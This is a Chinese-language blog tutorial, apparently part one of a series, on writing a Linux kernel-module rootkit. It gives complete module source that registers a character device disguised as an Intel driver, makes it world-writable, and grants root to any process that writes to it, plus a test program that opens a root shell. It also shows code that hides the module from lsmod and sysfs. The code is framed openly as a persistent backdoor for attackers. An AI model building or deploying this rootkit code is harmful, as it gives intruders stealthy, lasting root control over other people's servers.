【技术分享】简易 Linux Rootkit 编写入门指北(一):模块隐藏与进程提权

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所属分类:安全文章

【技术分享】简易 Linux Rootkit 编写入门指北(一):模块隐藏与进程提权



概述



「Rootkit」即「root kit」,直译为中文便是「根权限工具包」的意思,在今天的语境下更多指的是一种被作为驱动程序、加载到操作系统内核中的恶意软件,这一类恶意软件的主要用途便是「驻留在计算机上提供 root 后门」——当攻击者再次拿到某个服务器的 shell 时可以通过 rootkit 快速提权到 root

Linux 下的 rootkit 主要以「可装载内核模块」(LKM)的形式存在,作为内核的一部分直接以 ring0 权限向入侵者提供服务;当攻击者拿到某台计算机的 shell 并通过相应的漏洞提权到 root 之后便可以在计算机中留下 rootkit,以为攻击者后续入侵行为提供驻留的 root 后门

但是作为内核的一部分,LKM 编程在一定意义上便是内核编程,与内核版本密切相关,只有使用相应版本内核源码进行编译的 LKM 才可以装载到对应版本的 kernel 上,这使得 Linux rootkit 显得有些鸡肋(例如服务器管理员某天升级内核版本你就被扬了),且不似蠕虫病毒那般可以在服务期间肆意传播,但不可否认的是 rootkit 仍是当前 Linux 下较为主流的 root 后门驻留技术之一

本篇文章仅为最基础的 rootkit 编写入门指南,若是需要成熟可用的 rootkit 可以参见 f0rb1dd3n/Reptile: LKM Linux rootkit (github.com)

本篇引用的内核源码来自于 Linux 内核版本 5.11

Linux 下尝试装载不同版本的 LKM 会显示如下错误信息:

insmod: ERROR: could not insert module hellokernel.ko: Invalid module format

 


最简易的LKM



这里不会叙述太多 Linux 内核编程相关的知识,主要以 rootkit 编写所会用到的一些技术为主

基本的 LKM 编写入门见这里

以下给出了一个最基础的 LKM 模板,注册了一个字符型设备作为后续使用的接口

rootkit.c

/** rootkit.ko* developed by arttnba3*/#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/fs.h>#include <linux/device.h>#include "functions.c"
static int __init rootkit_init(void){ // register device major_num = register_chrdev(0, DEVICE_NAME, &a3_rootkit_fo); // major number 0 for allocated by kernel if(major_num < 0) return major_num; // failed
// create device class module_class = class_create(THIS_MODULE, CLASS_NAME); if(IS_ERR(module_class)) { unregister_chrdev(major_num, DEVICE_NAME); return PTR_ERR(module_class); }
// create device inode module_device = device_create(module_class, NULL, MKDEV(major_num, 0), NULL, DEVICE_NAME); if(IS_ERR(module_device)) // failed { class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME); return PTR_ERR(module_device); }
__file = filp_open(DEVICE_PATH, O_RDONLY, 0); if (IS_ERR(__file)) // failed { device_destroy(module_class, MKDEV(major_num, 0)); class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME); return PTR_ERR(__file); } __inode = file_inode(__file); __inode->i_mode |= 0666; filp_close(__file, NULL);
return 0;}
static void __exit rootkit_exit(void){ device_destroy(module_class, MKDEV(major_num, 0)); class_destroy(module_class); unregister_chrdev(major_num, DEVICE_NAME);}
module_init(rootkit_init);module_exit(rootkit_exit);MODULE_LICENSE("GPL");MODULE_AUTHOR("arttnba3");

functions.c

#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/fs.h>#include <linux/device.h>#include "rootkit.h"
static int a3_rootkit_open(struct inode * __inode, struct file * __file){ return 0;}
static ssize_t a3_rootkit_read(struct file * __file, char __user * user_buf, size_t size, loff_t * __loff){ return 0;}
static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){ return 0;}
static int a3_rootkit_release(struct inode * __inode, struct file * __file){ printk(KERN_INFO "get info"); return 0;}
static long a3_rootkit_ioctl(struct file * __file, unsigned int cmd, unsigned long param){ return 0;}

rootkit.h

#include <linux/module.h>#include <linux/kernel.h>#include <linux/init.h>#include <linux/fs.h>#include <linux/device.h>
// a difficult-to-detect name#define DEVICE_NAME "intel_rapl_msrdv"#define CLASS_NAME "intel_rapl_msrmd"#define DEVICE_PATH "/dev/intel_rapl_msrdv"
static int major_num;static struct class * module_class = NULL;static struct device * module_device = NULL;static struct file * __file = NULL;struct inode * __inode = NULL;
static int __init rootkit_init(void);static void __exit rootkit_exit(void);
static int a3_rootkit_open(struct inode *, struct file *);static ssize_t a3_rootkit_read(struct file *, char __user *, size_t, loff_t *);static ssize_t a3_rootkit_write(struct file *, const char __user *, size_t, loff_t *);static int a3_rootkit_release(struct inode *, struct file *);static long a3_rootkit_ioctl(struct file *, unsigned int, unsigned long);
static struct file_operations a3_rootkit_fo = { .owner = THIS_MODULE, .unlocked_ioctl = a3_rootkit_ioctl, .open = a3_rootkit_open, .read = a3_rootkit_read, .write = a3_rootkit_write, .release = a3_rootkit_release,};

makefile

# Makefile2.6obj-m += rootkit.oCURRENT_PATH := $(shell pwd)LINUX_KERNEL := $(shell uname -r)LINUX_KERNEL_PATH := /usr/src/linux-headers-$(LINUX_KERNEL)all:    make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) modulesclean:    make -C $(LINUX_KERNEL_PATH) M=$(CURRENT_PATH) clean

我们接下来将以该模块作为蓝本进行修改

 


进程权限提升



cred 结构体

对于 Linux 下的每一个进程,在 kernel 中都有着一个结构体 cred 用以标识其权限,该结构体定义于内核源码include/linux/cred.h中,如下:

struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;    /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC    0x43736564#define CRED_MAGIC_DEAD    0x44656144#endif    kuid_t        uid;        /* real UID of the task */    kgid_t        gid;        /* real GID of the task */    kuid_t        suid;        /* saved UID of the task */    kgid_t        sgid;        /* saved GID of the task */    kuid_t        euid;        /* effective UID of the task */    kgid_t        egid;        /* effective GID of the task */    kuid_t        fsuid;        /* UID for VFS ops */    kgid_t        fsgid;        /* GID for VFS ops */    unsigned    securebits;    /* SUID-less security management */    kernel_cap_t    cap_inheritable; /* caps our children can inherit */    kernel_cap_t    cap_permitted;    /* caps we're permitted */    kernel_cap_t    cap_effective;    /* caps we can actually use */    kernel_cap_t    cap_bset;    /* capability bounding set */    kernel_cap_t    cap_ambient;    /* Ambient capability set */#ifdef CONFIG_KEYS    unsigned char    jit_keyring;    /* default keyring to attach requested                     * keys to */    struct key    *session_keyring; /* keyring inherited over fork */    struct key    *process_keyring; /* keyring private to this process */    struct key    *thread_keyring; /* keyring private to this thread */    struct key    *request_key_auth; /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY    void        *security;    /* subjective LSM security */#endif    struct user_struct *user;    /* real user ID subscription */    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */    struct group_info *group_info;    /* supplementary groups for euid/fsgid */    /* RCU deletion */    union {        int non_rcu;            /* Can we skip RCU deletion? */        struct rcu_head    rcu;        /* RCU deletion hook */    };} __randomize_layout;

我们主要关注 uid ,一个cred结构体中记载了一个进程四种不同的用户ID:

  • 真实用户ID(real UID):标识一个进程启动时的用户ID

  • 保存用户ID(saved UID):标识一个进程最初的有效用户ID

  • 有效用户ID(effective UID):标识一个进程正在运行时所属的用户ID,一个进程在运行途中是可以改变自己所属用户的,因而权限机制也是通过有效用户ID进行认证的

  • 文件系统用户ID(UID for VFS ops):标识一个进程创建文件时进行标识的用户ID

权限提升

Linux kernel 进程权限相关细节不在此赘叙,可以参见这里

cred 结构体中存储了进程的 effective uid,那么我们不难想到,若是我们直接改写一个进程对应的 cred 结构体,我们便能直接改变其执行权限

而在 Linux 中 root 用户的 uid 为 0,若是我们将一个进程的 uid 都改为 0,该进程便获得了 root 权限

方法I.调用commit_creds(prepare_kernel_cred(NULL))

pwn 选手应该都挺熟悉这个hhhh

在内核空间有如下两个函数,都位于kernel/cred.c中:

  • struct cred* prepare_kernel_cred(struct task_struct* daemon):该函数用以拷贝一个进程的cred结构体,并返回一个新的cred结构体,需要注意的是daemon参数应为有效的进程描述符地址或NULL

  • int commit_creds(struct cred *new):该函数用以将一个新的cred结构体应用到进程

查看prepare_kernel_cred()函数源码,观察到如下逻辑:

struct cred *prepare_kernel_cred(struct task_struct *daemon){    const struct cred *old;    struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL); if (!new) return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon) old = get_task_cred(daemon); else old = get_cred(&init_cred);...

在prepare_kernel_cred()函数中,若传入的参数为NULL,则会缺省使用init进程的cred作为模板进行拷贝,即可以直接获得一个标识着root权限的cred结构体

那么我们不难想到,只要我们能够在内核空间执行commit_creds(prepare_kernel_cred(NULL)),那么就能够将进程的权限提升到root

我们来简单测试一下:修改 write 函数,在用户向设备写入时将其提权到 root:

static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){    commit_creds(prepare_kernel_cred(NULL));    return 0;}

测试例程:

#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>
int main(void){ int fd = open("/dev/intel_rapl_msrdv", O_RDWR); write(fd, "aaaa", 4); sleep(2); system("/bin/sh");}

简单测试一下,可以看到当我们的进程写入设备之后便提权到了 root

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方法II.直接修改 cred 结构体

前面我们讲到,prepare_kernel_cred() 函数用以将一个新的 cred 应用到当前进程,我们来观察其源码相应逻辑:

int commit_creds(struct cred *new){    struct task_struct *task = current;    const struct cred *old = task->real_cred;
...

在该函数开头直接通过宏 current 获取当前进程的 task_struct,随后修改的是其成员 real_cred,那么我们在内核模块中同样可以直接通过该宏获取当前进程的 task_struct 结构体,从而直接修改其 real_cred 中的 uid 以实现到 root 的提权

那么我们的代码可以修改如下:

static ssize_t a3_rootkit_write(struct file * __file, const char __user * user_buf, size_t size, loff_t * __loff){    struct task_struct *task = current;    struct cred *old = task->real_cred;    old->gid = old->sgid = old->egid = KGIDT_INIT(0);    old->uid = old->suid = old->euid = KUIDT_INIT(0);    return 0;}

这里需要注意的是 uid 与 gid 的类型为封装为结构体的 kuid_t 与 kgid_t 类型,应当使用宏 KGIDT_INIT() 与 KUIDT_INIT() 进行赋值

还是使用之前的例程简单测试一下,可以看到当我们的进程写入设备之后便提权到了 root,不同的是我们只修改了几个 uid 和 gid,所以原进程的其他信息依旧会保留,这里也可以选择把其他的一并改掉

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current:CPU 局部变量保存当前进程 task_struct 结构体

这里简单讲一下宏 current 的是如何获取当前进程的 task_struct 的:该宏定义于内核源码 arch/x6/include/asm/current.h 中,展开后为函数 static __always_inline struct task_struct *get_current(void) ,该函数只有一句 return this_cpu_read_stable(current_task);:

其中 current_task 为 CPU 局部变量,在头文件开头使用宏 DECLARE_PER_CPU 从外部引入该变量,该宏定义于 include/linux/percpu-defs.h 中,展开后为 DECLARE_PER_CPU_SECTION(type, name, ""),该宏再度展开为 extern __PCPU_ATTRS(sec) __typeof__(type) name,该宏再度展开为 __percpu __attribute__((section(PER_CPU_BASE_SECTION sec))) PER_CPU_ATTRIBUTES,其中宏 PER_CPU_BASE_SECTION 定义于 include/asm-generic/percpu.h中,SMP(多对称处理)下展开为字符串 ".data..percpu"。最终展开为 __attribute__((section(".data..percpu"))) (type) name,其中 __attribute__ 宏为 gcc 的特殊机制,具体的参见手册

那么我们可以知道该宏最终便是外部引用了一个位于 .data..percpu 这一数据段中的 task_struct 类型的变量 current_task

接下来看宏 this_cpu_read_stable,该宏定义于 arch/x86/include/asm/percpu.h 中,展开为 __pcpu_size_call_return(this_cpu_read_stable_, pcp),再度展开为如下:

#define __pcpu_size_call_return(stem, variable)                ({                                        typeof(variable) pscr_ret__;                        __verify_pcpu_ptr(&(variable));                        switch(sizeof(variable)) {                        case 1: pscr_ret__ = stem##1(variable); break;                case 2: pscr_ret__ = stem##2(variable); break;                case 4: pscr_ret__ = stem##4(variable); break;                case 8: pscr_ret__ = stem##8(variable); break;                default:                                    __bad_size_call_parameter(); break;                }                                    pscr_ret__;                            })

开头先定义了一个变量 pscr_ret__,使用 typeof (GNU C 扩展关键字)获取 variable 的类型

其中宏 __verify_pcpu_ptr() 同样定义于该文件中,如下:

#define __verify_pcpu_ptr(ptr)                        do {                                        const void __percpu *__vpp_verify = (typeof((ptr) + 0))NULL;        (void)__vpp_verify;                        } while (0)

其中 do...while(0) 结构为约定熟成的「只执行一次的语句」的宏的书写形式,该宏中定义了一个 void 指针通过强制类型转换获取 NULL 转成 ptr 的类型给到该指针(好像没什么用…?),然后下一句再转为 NULL(空转,没有做任何其他诸如赋值一类的事情,笔者才疏学浅暂时不理解这么做的理由)

接下来根据变量 variable 的 size 进行宏拼接,前面我们传入的 current_task 变量为 struct task_struct * 指针类型,这里以 64 位系统为例,最终得到的拼接结果为宏 this_cpu_read_stable_8,定义于 arch/x86/include/asm/percpu.h 中(绕了一圈又回来了),展开为 percpu_stable_op(8, "mov", pcp),再度展开为如下形式:

#define percpu_stable_op(size, op, _var)                ({                                        __pcpu_type_##size pfo_val__;                        asm(__pcpu_op2_##size(op, __percpu_arg(P[var]), "%[val]")            : [val] __pcpu_reg_##size("=", pfo_val__)                    : [var] "p" (&(_var)));                        (typeof(_var))(unsigned long) pfo_val__;            })

其中 __pcpu_type_8 展开为 u64,在多个头文件中都有定义,最终展开为unsigned long long的 typedef 别名

下一行使用了内联汇编,其中拼接后得到的宏 __pcpu_op2_8(op, src, dst) 同样位于这个头文件,展开为 op "q " src ", " dst;__percpu_arg(x)展开为 __percpu_prefix "%" #x, 再展开为 "%%"__stringify(__percpu_seg)":":__stringify 展开为 __stringify_1(x) 展开为 #x,__percpu_seg 展开为 gs,合起来便是 %%gs:%P[var];拼接宏 __pcpu_reg_8(mod, x) 展开为 mod "r" (x)

最终展开为如下形式:

unsigned long long pfo_val__;asm("movq %%gs:%P[var], %[val]" : [val] "=r" (pfo_val__) : [var] "p" (&(current_task)));(struct task_struct *)(unsigned long) pfo_val__;

拨开 Linux 内核源码中的多层嵌套之后我们大抵能够明白该段代码的核心便是以 gs 寄存器作为基址,取 current_task 变量偏移处值赋给 pfo_val__ 变量,随后返回 pro_val__ 变量

那么为什么 gs 寄存器中存的地址在这个偏移上便是该进程的 task_struct 结构呢?这个和 percpu 机制有关,便不在此赘叙,大概就是每个 CPU 独立有一块地址空间,其中会存放包括当前进程的 task_struct 结构体等数据



模块隐藏



当我们将一个 LKM 装载到内核模块中之后,用户尤其是服务器管理员可以使用 lsmod 命令发现你在服务器上留下的rootkit

[email protected]:~/Desktop/DailyProgramming/rootkit$ sudo insmod rootkit.ko Password: [email protected]:~/Desktop/DailyProgramming/rootkit$ lsmod | grep 'rootkit'rootkit                16384  0

虽然说我们可以把 rootkit 的名字改为「very_important_module_not_root_kit_please_donot_remove_it」一类的名字进行伪装从而通过社会工程学手段让用户难以发现异常,但是哪怕看起来再“正常”的名字也不能够保证不会被发现,因此我们需要让用户无法直接发现我们的 rootkit

PRE.内核中的内核模块:module 结构体

这里仅简要叙述,在内核当中使用结构体 module 来表示一个内核模块(定义于 /include/linux/module.h),多个内核模块通过成员 list (内核双向链表结构list_head,定义于/include/linux/types.h 中,仅有 next 与 prev 指针成员)构成双向链表结构

在内核模块编程中,我们可以通过宏 THIS_MODULE (定义于 include/linux/export.h)或者直接用其宏展开 &__list_module 来获取当前内核模块的 module 结构体,

Step-I. /proc/modules 信息隐藏

Linux 下用以查看模块的命令 lsmod 其实是从 /proc/modules 这个文件中读取并进行整理,该文件的内容来自于内核中的 module 双向链表,那么我们只需要将 rootkit 从双向链表中移除即可完成 procfs 中的隐藏

熟悉内核编程的同学应该都知道 list_del_init() 函数用以进行内核双向链表脱链操作,该函数定义于 /include/linux/list.h 中,多重套娃展开后其核心主要是常规的双向链表脱链,那么在这里我们其实可以直接手写双向链表的脱链工作

我们还需要考虑到多线程操作的影响,阅读 rmmod 背后的系统调用 delete_module 源码(位于 kernel/module.c 中),观察到其进入临界区前使用了一个互斥锁变量名为 module_mutex,我们的 unlink 操作也将使用该互斥锁以保证线程安全(毕竟我们进来不是直接搞破坏的hhh)

在模块初始化函数末尾添加如下:

static int __init rootkit_init(void){...
// unlink from module list struct list_head * list = (&__this_module.list); mutex_lock(&module_mutex); list->prev->next = list->next; list->next->prev = list->prev; mutex_unlock(&module_mutex);
return 0;}

将我们的 rootkit 重新 make 后加载到内核中,我们会发现 lsmod 命令已经无法发现我们的 rootkit,在 /proc/modules 文件中已经没有我们 rootkit 的信息,与此同时我们的 rootkit 所提供的功能一切正常

但同样地,无论是载入还是卸载内核模块都需要对双向链表进行操作,由于我们的 rootkit 已经脱链故我们无法将其卸载,同样地也无法将其再次载入(虽然说似乎并没有必要做这两件事情,因为 rootkit 一次载入后应当是要长久驻留在内核中的)

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Step-II. /sys/module/ 信息隐藏

sysfs 与 procfs 相类似,同样是一个基于 RAM 的虚拟文件系统,它的作用是将内核信息以文件的方式提供给用户程序使用,其中便包括我们的 rootkit 模块信息,sysfs 会动态读取内核中的 kobject 层次结构并在 /sys/module/ 目录下生成文件

这里简单讲一下 kobject:Kobject 是 Linux 中的设备数据结构基类,在内核中为 struct kobject 结构体,通常内嵌在其他数据结构中;每个设备都有一个 kobject 结构体,多个 kobject 间通过内核双向链表进行链接;kobject 之间构成层次结构

kobject 更多信息参见https://zhuanlan.zhihu.com/p/104834616

熟悉内核编程的同学应该都知道我们可以使用 kobject_del() 函数(定义于 /lib/kobject.c中)来将一个 kobject 从层次结构中脱离,这里我们将在我们的 rootkit 的 init 函数末尾使用这个函数:

static int __init rootkit_init(void){...
// unlink from kobject kobject_del(&__this_module.mkobj.kobj);
return 0;}

简单测试,我们可以发现无论是在 procfs 中还是 sysfs 中都已经没有了我们的 rootkit 的身影,而提权的功能依旧正常,我们很好地完成了隐藏模块的功能

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What's more?



在后续文章中笔者将会讲述:

  • 文件隐藏(filldir hook)

  • 进程隐藏(脱离 cred_jar 进行简易内存分配)

  • 驻留技术(systemd,initrd…)

  • ……

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本文始发于微信公众号(安全客):【技术分享】简易 Linux Rootkit 编写入门指北(一):模块隐藏与进程提权

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